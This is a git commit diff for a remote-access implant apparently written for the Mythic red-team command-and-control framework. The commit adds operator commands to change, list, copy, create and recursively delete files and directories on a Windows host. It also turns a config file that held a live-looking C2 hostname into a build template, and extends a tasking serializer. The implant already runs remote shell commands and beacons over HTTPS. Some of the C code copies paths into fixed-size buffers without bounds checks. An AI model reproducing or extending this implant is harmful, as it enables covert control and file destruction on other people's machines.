v0.6 Comandos del sistema de ficheros de Windows

This commit is contained in:
marcos.luna
2025-04-08 18:30:08 +02:00
parent fcd2251761
commit 0054f467df
16 changed files with 1033 additions and 23 deletions
@@ -27,7 +27,6 @@ VOID liberarAnalizador(PAnalizador analizador) {
}
BYTE getByte(PAnalizador analizador) {
BYTE intByte = 0;
@@ -1,13 +1,13 @@
#pragma once
#define initUUID "41c8ef02-b046-4664-97f4-93bfb20335b4"
#define hostname L"datto-api-hyfmh8fhgkhwg6f6.a01.azurefd.net"
#define endpoint L"data"
#define ssl TRUE
#define proxyenabled FALSE
#define proxyurl L""
#define initUUID "%UUID%"
#define hostname L"%HOSTNAME%"
#define endpoint L"%ENDPOINT%"
#define ssl %SSL%
#define proxyenabled %PROXYENABLED%
#define proxyurl L"%PROXYURL%"
#define useragent L""
#define useragent L"%USERAGENT%"
#define httpmethod L"POST"
#define port 443
#define port %PORT%
#define sleep_time 10
#define sleep_time %SLEEPTIME%
@@ -0,0 +1,433 @@
#include "SistemadeFicheros.h"
#include "paquete.h"
#define _CRT_SECURE_NO_WARNINGS
#pragma warning(disable : 4996)
VOID CambiarDirectorio(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos);
_dbg("\t tenemos %d argumentos", nbArg);
if (nbArg == 0) {
return;
}
SIZE_T tamano = 0;
PCHAR pathIntroducido = getString(argumentos, &tamano);
_dbg("Usando el path %s", pathIntroducido);
// Normalizar el path
char pathNormalizado[2048];
int j = 0;
for (int i = 0; i < tamano; i++) {
if (pathIntroducido[i] == '\\') {
// Si encontramos una barra invertida, aseguramos que se copie dos veces
pathNormalizado[j++] = '\\';
}
pathNormalizado[j++] = pathIntroducido[i];
}
// Asegurar que el path esté terminado en null
pathNormalizado[j] = '\0';
// Convertir el path a minúsculas para evitar problemas con mayúsculas/minúsculas
for (int i = 0; i < j; i++) {
pathNormalizado[i] = tolower(pathNormalizado[i]);
}
// Intentar cambiar el directorio
if (!SetCurrentDirectoryA(pathNormalizado)) {
DWORD error = GetLastError();
_err("no se puede cambiar a ese directorio %s : ERROR CODE %d", pathNormalizado, error);
//PackageError(tareaUuid, error);
goto end;
}
// Obtener el directorio actual
char dir[2048];
int length = GetCurrentDirectoryA(sizeof(dir), dir);
PPaquete salida = nuevoPaquete(0, FALSE);
// success
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaTarea, tareaUuid, FALSE);
addString(salida, dir, FALSE);
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
mandarPaquete(respuestaTarea);
liberarPaquete(salida);
liberarPaquete(respuestaTarea);
end:
LocalFree(pathIntroducido);
}
VOID ListarDirectorio(PAnalizador argumentos){
#define MAX_FILENAME 0x4000
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos);
_dbg("\t tenemos %d argumentos", nbArg);
if (nbArg == 0) {
return;
}
UINT32 tamanoPath = NULL;
SIZE_T tamano = 0;
char nombreFichero[MAX_FILENAME];
PCHAR fichero = getString(argumentos, &tamano);
strcpy(nombreFichero, fichero);
_dbg("Filename: %s", nombreFichero);
PPaquete salida = nuevoPaquete(0, FALSE);
#define SOURCE_DIRECTORY "\\*"
if (!strncmp(nombreFichero, "." SOURCE_DIRECTORY, MAX_FILENAME)){
GetCurrentDirectoryA(MAX_FILENAME, nombreFichero);
strncat_s(nombreFichero, MAX_FILENAME, SOURCE_DIRECTORY, strlen(SOURCE_DIRECTORY));
}else{
tamanoPath = strlen(nombreFichero);
if (nombreFichero[tamanoPath - 1] != 0x5c) {
nombreFichero[tamanoPath++] = 0x5c;
}
nombreFichero[tamanoPath++] = 0x2a;
nombreFichero[tamanoPath] = 0x00;
}
_dbg("[ls] %s", nombreFichero);
PackageAddFormatPrintf(salida, FALSE, "%s\n", nombreFichero);
WIN32_FIND_DATAA datosEncontrados;
HANDLE primerFichero = FindFirstFileA(nombreFichero, &datosEncontrados);
if (primerFichero == INVALID_HANDLE_VALUE){
DWORD error = GetLastError();
_err("Could not open %s : ERROR CODE %d", nombreFichero, error);
//PackageError(tareaUuid, error);
goto end;
}
SYSTEMTIME systemTime, localTime;
do{
FileTimeToSystemTime(&datosEncontrados.ftLastWriteTime, &systemTime);
SystemTimeToTzSpecificLocalTime(NULL, &systemTime, &localTime);
if (datosEncontrados.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY){
PackageAddFormatPrintf(salida, FALSE, "D\t0\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
localTime.wMonth, localTime.wDay, localTime.wYear,
localTime.wHour, localTime.wMinute, localTime.wSecond,
datosEncontrados.cFileName);
}else{
PackageAddFormatPrintf(salida, FALSE, "F\t%I64d\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
((ULONGLONG)datosEncontrados.nFileSizeHigh << 32) | datosEncontrados.nFileSizeLow,
localTime.wMonth, localTime.wDay, localTime.wYear,
localTime.wHour, localTime.wMinute, localTime.wSecond,
datosEncontrados.cFileName);
}
} while (FindNextFileA(primerFichero, &datosEncontrados));
FindClose(primerFichero);
// success
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaTarea, tareaUuid, FALSE);
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
mandarPaquete(respuestaTarea);
end:
// Cleanup
LocalFree(fichero);
liberarPaquete(salida);
}
BOOL ObtenerPath(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
UINT32 nbArg = getInt32(argumentos);
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
char dir[2048];
int length = GetCurrentDirectoryA(sizeof(dir), dir);
PPaquete salida = nuevoPaquete(0, FALSE);
if (length == 0) {
DWORD error = GetLastError();
_err("[pwd] Error obteniendo directorio actual. Código: %lu\n", error);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[pwd] Error: %lu\n", error);
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
_err("[pwd] Enviando paquete de error. Longitud: %d bytes\n", salidaError->length);
_err("[pwd] Contenido error: %s\n", salidaError->buffer);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
return FALSE;
}
_dbg("[pwd] Directorio actual: %s\n", dir);
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaTarea, tareaUuid, FALSE);
addString(salida, dir, FALSE);
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
mandarPaquete(respuestaTarea);
liberarPaquete(salida);
liberarPaquete(respuestaTarea);
return TRUE;
}
VOID CopiarFichero(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos);
_dbg("\t tenemos %d argumentos", nbArg);
if (nbArg == 0) {
return;
}
SIZE_T tamano = 0;
SIZE_T tamano2 = 0;
PCHAR ficheroExistente = getString(argumentos, &tamano);
PCHAR nuevoFichero = getString(argumentos, &tamano2);
_dbg("Copying file \"%s\" to \"%s\"", ficheroExistente, nuevoFichero);
// Copy the file
if (!CopyFileA(ficheroExistente, nuevoFichero, FALSE)){
DWORD error = GetLastError();
_err("[cp] No se ha podido copiar. Código: %lu\n", error);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[cp] Error: %lu\n", error);
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
_err("[cp] Enviando paquete de error. Longitud: %d bytes\n", salidaError->length);
_err("[cp] Contenido error: %s\n", salidaError->buffer);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
goto end;
}
PPaquete salida = nuevoPaquete(0, FALSE);
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
char frase2[512]; // Asume que el path no va a pasar de 512 caracteres
snprintf(frase2, sizeof(frase2), "[cp] Fichero copiado correctamente a: %s", nuevoFichero);
addString(salida, frase2, FALSE);
addString(respuestaTarea, tareaUuid, FALSE);
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
mandarPaquete(respuestaTarea);
liberarPaquete(salida);
liberarPaquete(respuestaTarea);
end:
// Cleanup
LocalFree(nuevoFichero);
LocalFree(ficheroExistente);
}
VOID CrearRuta(PAnalizador argumentos){
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos);
SIZE_T tamano = 0;
PCHAR directorio = getString(argumentos, &tamano);
_dbg("Creating directory: \"%s\"", directorio);
if (!CreateDirectoryA(directorio, NULL)){
DWORD error = GetLastError();
_err("[mkdir] No se ha podido crear el directorio. Código: %lu\n", error);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[mkdir] Error: %lu\n", error);
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
_err("[mkdir] Enviando paquete de error. Longitud: %d bytes\n", salidaError->length);
_err("[mkdir] Contenido error: %s\n", salidaError->buffer);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
goto end;
}
PPaquete salida = nuevoPaquete(0, FALSE);
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
char frase2[512]; // Asume que el path no va a pasar de 512 caracteres
snprintf(frase2, sizeof(frase2), "[mkdir] Directorio creado con exito: %s", directorio);
addString(salida, frase2, FALSE);
addString(respuestaTarea, tareaUuid, FALSE);
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
mandarPaquete(respuestaTarea);
liberarPaquete(salida);
liberarPaquete(respuestaTarea);
end:
// Cleanup
LocalFree(directorio);
}
BOOL EsDirectorio(char* nombre){
return GetFileAttributesA(nombre) & FILE_ATTRIBUTE_DIRECTORY;
}
VOID EliminaCallbacksRecursivos(const char* a1, const char* a2, BOOL esDirectorio){
char* lpNombreRuta = (char*)malloc(0x4000);
_snprintf(lpNombreRuta, 0x4000, "%s\\%s", a1, a2);
if (esDirectorio)
RemoveDirectoryA(lpNombreRuta);
else
DeleteFileA(lpNombreRuta);
free(lpNombreRuta);
}
VOID BuscaYProcesa(char* nombre, WIN32_FIND_DATAA* busqueda){
#define MAX_FILENAME 0x8000
char* lpNombreFichero;
lpNombreFichero = malloc(MAX_FILENAME);
snprintf(lpNombreFichero, MAX_FILENAME, "%s\\*", nombre);
LPWIN32_FIND_DATAA lpCurrentFindFileData = busqueda;
HANDLE hFindFile = FindFirstFileA(lpNombreFichero, lpCurrentFindFileData);
free(lpNombreFichero);
if (hFindFile == INVALID_HANDLE_VALUE) {
return;
}
do{
if (lpCurrentFindFileData->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
if (strcmp(lpCurrentFindFileData->cFileName, ".") && strcmp(lpCurrentFindFileData->cFileName, ".."))
{
char* lpFileNameInternal = malloc(MAX_FILENAME);
snprintf(lpFileNameInternal, MAX_FILENAME, "%s", lpCurrentFindFileData->cFileName);
lpNombreFichero = malloc(MAX_FILENAME);
snprintf(lpNombreFichero, MAX_FILENAME, "%s\\%s", nombre, busqueda->cFileName);
BuscaYProcesa(lpNombreFichero, busqueda);
free(lpNombreFichero);
EliminaCallbacksRecursivos(nombre, lpFileNameInternal, TRUE);
free(lpFileNameInternal);
}
lpCurrentFindFileData = busqueda;
}
else
{
EliminaCallbacksRecursivos(nombre, lpCurrentFindFileData->cFileName, FALSE);
}
} while (FindNextFileA(hFindFile, lpCurrentFindFileData));
FindClose(hFindFile);
}
VOID BorrarDirectoriosHijos(char* rutaFichero){
WIN32_FIND_DATAA busqueda;
BuscaYProcesa(
rutaFichero,
&busqueda);
}
VOID EliminarRuta(PAnalizador argumentos){
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos);
SIZE_T tamano = 0;
PCHAR ruta = getString(argumentos, &tamano);
if (nbArg == 0)
return;
if (EsDirectorio(ruta)){
BorrarDirectoriosHijos(ruta);
RemoveDirectoryA(ruta);
}else{
DeleteFileA(ruta);
}
PPaquete salida = nuevoPaquete(0, FALSE);
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
char frase2[512]; // Asume que el path no va a pasar de 512 caracteres
snprintf(frase2, sizeof(frase2), "[rm] Borrados los ficheros o directorios incluidos sus hijos: %s", ruta);
addString(salida, frase2, FALSE);
addString(respuestaTarea, tareaUuid, FALSE);
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
mandarPaquete(respuestaTarea);
liberarPaquete(salida);
liberarPaquete(respuestaTarea);
end:;
// Cleanup
LocalFree(ruta);
}
@@ -0,0 +1,20 @@
#pragma once
#ifndef FILESYSTEM_H
#define FILESYSTEM_H
#include <windows.h>
#include "analizador.h"
VOID CambiarDirectorio(PAnalizador argumentos);
VOID ListarDirectorio(PAnalizador argumentos);
BOOL ObtenerPath(PAnalizador argumentos);
VOID CopiarFichero(PAnalizador argumentos);
VOID CrearRuta(PAnalizador argumentos);
VOID EliminarRuta(PAnalizador argumentos);
#endif //FILESYSTEM_H
@@ -16,18 +16,29 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
if (tarea == SHELL_CMD)
{
if (tarea == SHELL_CMD){
ejecutarConsola(analizadorTarea);
}
else if (tarea == EXIT_CMD) {
}else if (tarea == EXIT_CMD) {
cerrarCallback(analizadorTarea);
}else if(tarea == SLEEP_CMD){
sleep(analizadorTarea);
}else if(tarea == PROCESS_CMD){
listarProcesos(analizadorTarea);
}else if (tarea == CD_CMD) {
CambiarDirectorio(analizadorTarea);
}else if (tarea == LS_CMD) {
ListarDirectorio(analizadorTarea);
}else if (tarea == PWD_CMD) {
ObtenerPath(analizadorTarea);
}else if (tarea == CP_CMD) {
CopiarFichero(analizadorTarea);
}else if (tarea == MKDIR_CMD) {
CrearRuta(analizadorTarea);
}else if (tarea == RM_CMD) {
EliminarRuta(analizadorTarea);
}
}
return TRUE;
}
@@ -9,6 +9,7 @@
#include "cerrarCallback.h"
#include "sleep.h"
#include "procesos.h"
#include "SistemadeFicheros.h"
#define SHELL_CMD 0x54
#define GET_TASKING 0x00
@@ -21,6 +22,15 @@
#define SLEEP_CMD 0x38
#define PROCESS_CMD 0x15
#define CD_CMD 0x20
#define LS_CMD 0x21
#define PWD_CMD 0x22
#define CP_CMD 0x23
#define MKDIR_CMD 0x24
#define RM_CMD 0x25
BOOL parseChecking(PAnalizador respuestaAnalizador);
BOOL rutina();
@@ -3,7 +3,7 @@
//#ifdef _DEBUG
//int main()
//#else
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow)
//int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow)
//#endif
{
cazallaMain();
@@ -0,0 +1,55 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class CdArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="path",
type=ParameterType.String,
description="Path al que cambiar.",
parameter_group_info=[ParameterGroupInfo(
required=True
)]
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Es necesario agregar un path.")
self.add_arg("path", self.command_line)
async def parse_dictionary(self, dictionary):
self.load_args_from_dictionary(dictionary)
class CdCommand(CommandBase):
cmd = "cd"
needs_admin = False
help_cmd = "cd C:\\directorio\\al\\que\\cambiar"
description = "Cambiar directorio de trabajo."
version = 1
author = "Kaseya OFSTeam"
attackmapping = []
argument_class = CdArguments
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=False
)
# async def create_tasking(self, task: MythicTask) -> MythicTask:
# task.display_params = task.args.get_arg("command")
# return task
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,56 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class CpArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="fichero existente",
type=ParameterType.String,
description="Ruta del fichero a copiar"
),
CommandParameter(
name="fichero nuevo",
type=ParameterType.String,
description="Ruta del nuevo fichero"
)
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Este comando necesita parametros")
self.add_arg("command", self.command_line)
async def parse_dictionary(self, dictionary_arguments):
self.load_args_from_dictionary(dictionary_arguments)
class CpCommand(CommandBase):
cmd = "cp"
needs_admin = False
help_cmd = "cp c:\\ruta\\fichero c:\\ruta\\a\\copiar"
description = "Copia un fichero a un nuevo destino."
version = 1
author = "Kaseya OFSTeam"
attackmapping = []
argument_class = CpArguments
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=False
)
# async def create_tasking(self, task: MythicTask) -> MythicTask:
# task.display_params = task.args.get_arg("command")
# return task
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,101 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import re
import string, json
import logging
logging.basicConfig(level=logging.INFO)
class LsArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="path",
type=ParameterType.String,
description="Path del fichero o de la carpeta del sistema",
parameter_group_info=[ParameterGroupInfo(
required=False
)]
),
]
async def parse_arguments(self):
logging.info("Parse Aguments")
pass
async def parse_dictionary(self, dictionary):
logging.info("Parse Dictionary")
if "host" in dictionary:
logging.info(f"Command came from File Browser UI - {dictionary}")
self.add_arg("path", dictionary["path"] + "\\" + dictionary["file"])
# self.add_arg("file_browser", type=ParameterType.Boolean, value=True)
else:
logging.info(f"Command came from CMDLINE - {dictionary}")
arg_path = dictionary.get("path")
if arg_path:
self.add_arg("path", arg_path)
else:
self.add_arg("path", ".\\*") # List current directory if no args
self.add_arg("file_browser", "true")
self.load_args_from_dictionary(dictionary)
class LsCommand(CommandBase):
cmd = "ls"
needs_admin = False
help_cmd = "ls [directorio]"
description = "listado de informacion del <directorio>"
version = 1
supported_ui_features = ["file_browser:list"]
author = "Kaseya OFSTeam"
attackmapping = ["T1106", "T1083"]
argument_class = LsArguments
browser_script = BrowserScript(
script_name="ls", author="Kaseya OFSTeam", for_new_ui=True
)
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=True
)
# async def create_tasking(self, task: MythicTask) -> MythicTask:
# task.display_params = task.args.get_arg("command")
# return task
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
path = taskData.args.get_arg("path")
logging.info(f"create_go_tasking - path : {path}")
response.DisplayParams = path
#
if uncmatch := re.match(r"^\\\\(?P<host>[^\\]+)\\(?P<path>.*)$", path):
taskData.args.add_arg("host", uncmatch.group("host"))
taskData.args.set_arg("path", uncmatch.group("path"))
else:
# Set the host argument to an empty string if it does not exist
taskData.args.add_arg("host", "")
if host := taskData.args.get_arg("host"):
host = host.upper()
# Resolve 'localhost' and '127.0.0.1' aliases
if host == "127.0.0.1" or host.lower() == "localhost":
host = taskData.Callback.Host
taskData.args.set_arg("host", host)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,55 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class MkdirArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="path",
type=ParameterType.String,
description="Ruta en la que crear el nuevo directorio",
parameter_group_info=[ParameterGroupInfo(
required=True
)]
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Es necesario agregar una ruta en la que crear el directorio")
self.add_arg("path", self.command_line)
async def parse_dictionary(self, dictionary):
self.load_args_from_dictionary(dictionary)
class MkdirCommand(CommandBase):
cmd = "mkdir"
needs_admin = False
help_cmd = "mkdir C:\\nuevo\\directorio"
description = "Crea un nuevo directorio."
version = 1
author = "Kaseya OFSTeam"
attackmapping = []
argument_class = MkdirArguments
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=False
)
# async def create_tasking(self, task: MythicTask) -> MythicTask:
# task.display_params = task.args.get_arg("command")
# return task
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,43 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class PwdArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
if len(self.command_line) > 0:
raise ValueError("Pwd no necesita parametros.")
class PwdCommand(CommandBase):
cmd = "pwd"
needs_admin = False
help_cmd = "pwd"
description = "Muestra el directorio actual"
version = 1
author = "Kaseya OFSTeam"
attackmapping = []
argument_class = PwdArguments
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=False
)
# async def create_tasking(self, task: MythicTask) -> MythicTask:
# task.display_params = task.args.get_arg("command")
# return task
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,56 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class RmArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="path",
type=ParameterType.String,
description="ruta al fichero o directorio",
parameter_group_info=[ParameterGroupInfo(
required=True
)]
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Debe introducir una ruta a un fichero o directorio")
self.add_arg("path", self.command_line)
async def parse_dictionary(self, dictionary):
self.load_args_from_dictionary(dictionary)
class RmCommand(CommandBase):
cmd = "rm"
needs_admin = False
help_cmd = "rm C:\\ruta\\al\\DirectorioOFichero"
description = "Elimina un fichero o un directorio"
version = 1
supported_ui_features = ["file_browser:remove"]
author = "Kaseya OFSTeam"
attackmapping = []
argument_class = RmArguments
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=False
)
# async def create_tasking(self, task: MythicTask) -> MythicTask:
# task.display_params = task.args.get_arg("command")
# return task
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,58 @@
function(task, responses) {
if (task.status.includes("error")) {
const combined = responses.reduce((prev, cur) => prev + cur, "");
return { 'plaintext': combined };
} else if (responses.length > 0) {
// Parse the output data
const output = responses.reduce((prev, cur) => prev + cur, "").split("\n").filter(line => line.trim() !== "");
if (output.length <= 2) {
return { 'plaintext': "No directory contents found." };
}
// Extract path and rows
const pathLine = output[1];
const dataLines = output.slice(2);
// Prepare the table structure
const formattedResponse = {
headers: [
{ plaintext: "Type", type: "string", width: 60, disableSort: true },
{ plaintext: "Size", type: "string", width: 80, disableSort: true },
{ plaintext: "Date Modified", type: "string", fillWidth: true },
{ plaintext: "Name", type: "string", fillWidth: true }
],
title: `Contents of ${pathLine}\n`,
rows: []
};
// Format rows for table
dataLines.forEach(line => {
const parts = line.split("\t");
if (parts.length === 4) {
const [type, size, modified, name] = parts;
formattedResponse.rows.push({
Type: {
plaintext: type === "D" ? "Directory" : "File",
cellStyle: {},
},
Size: {
plaintext: type === "D" ? "-" : size + " bytes",
cellStyle: {},
},
"Date Modified": {
plaintext: modified,
cellStyle: {},
},
Name: {
plaintext: name,
cellStyle: {},
}
});
}
});
return { table: [formattedResponse] };
} else {
return { 'plaintext': "No response yet from agent..." };
}
}
@@ -7,7 +7,13 @@ commands = {
"shell": {"hex_code": 0x54, "input_type": "string"},
"exit": {"hex_code": 0x80, "input_type": None},
"sleep": {"hex_code": 0x38, "input_type": "int"},
"ps": {"hex_code": 0x15, "input_type": None}
"ps": {"hex_code": 0x15, "input_type": None},
"cd": {"hex_code": 0x20, "input_type": "string"},
"ls": {"hex_code": 0x21, "input_type": "string"},
"pwd": {"hex_code": 0x22, "input_type": None},
"cp": {"hex_code": 0x23, "input_type": "string"},
"mkdir": {"hex_code": 0x24, "input_type": "string"},
"rm": {"hex_code": 0x25, "input_type": "string"}
}
def responseTasking(tasks):
@@ -18,6 +24,8 @@ def responseTasking(tasks):
for task in tasks:
command_to_run = task["command"]
print(f"\n[DEBUG] Preparando comando: {command_to_run}")
print(f"[DEBUG] Tipo input: {commands[command_to_run]['input_type']}")
command_code = commands[command_to_run]["hex_code"].to_bytes(1, "big")
task_id = task["id"].encode()
@@ -25,8 +33,11 @@ def responseTasking(tasks):
task_id_serialized = len(task_id_bytes).to_bytes(4, "big") + task_id_bytes
if commands[command_to_run]["input_type"] is None: # Comandos sin parámetros como "ps"
print("[DEBUG] Entrando en rama input_type=None")
data = command_code + task_id_serialized
task_size = len(data)
print(f"[DEBUG] Tamaño de tarea: {task_size}")
print(f"[DEBUG] Datos de tarea (hex): {data.hex()}")
dataTask += task_size.to_bytes(4, "big") + data
print("input_type: None")
@@ -58,7 +69,7 @@ def responseTasking(tasks):
dataToSend = dataHead + dataTask
print("estamos en el dataToSend\n")
print(dataToSend)
print(dataToSend.hex())
return dataToSend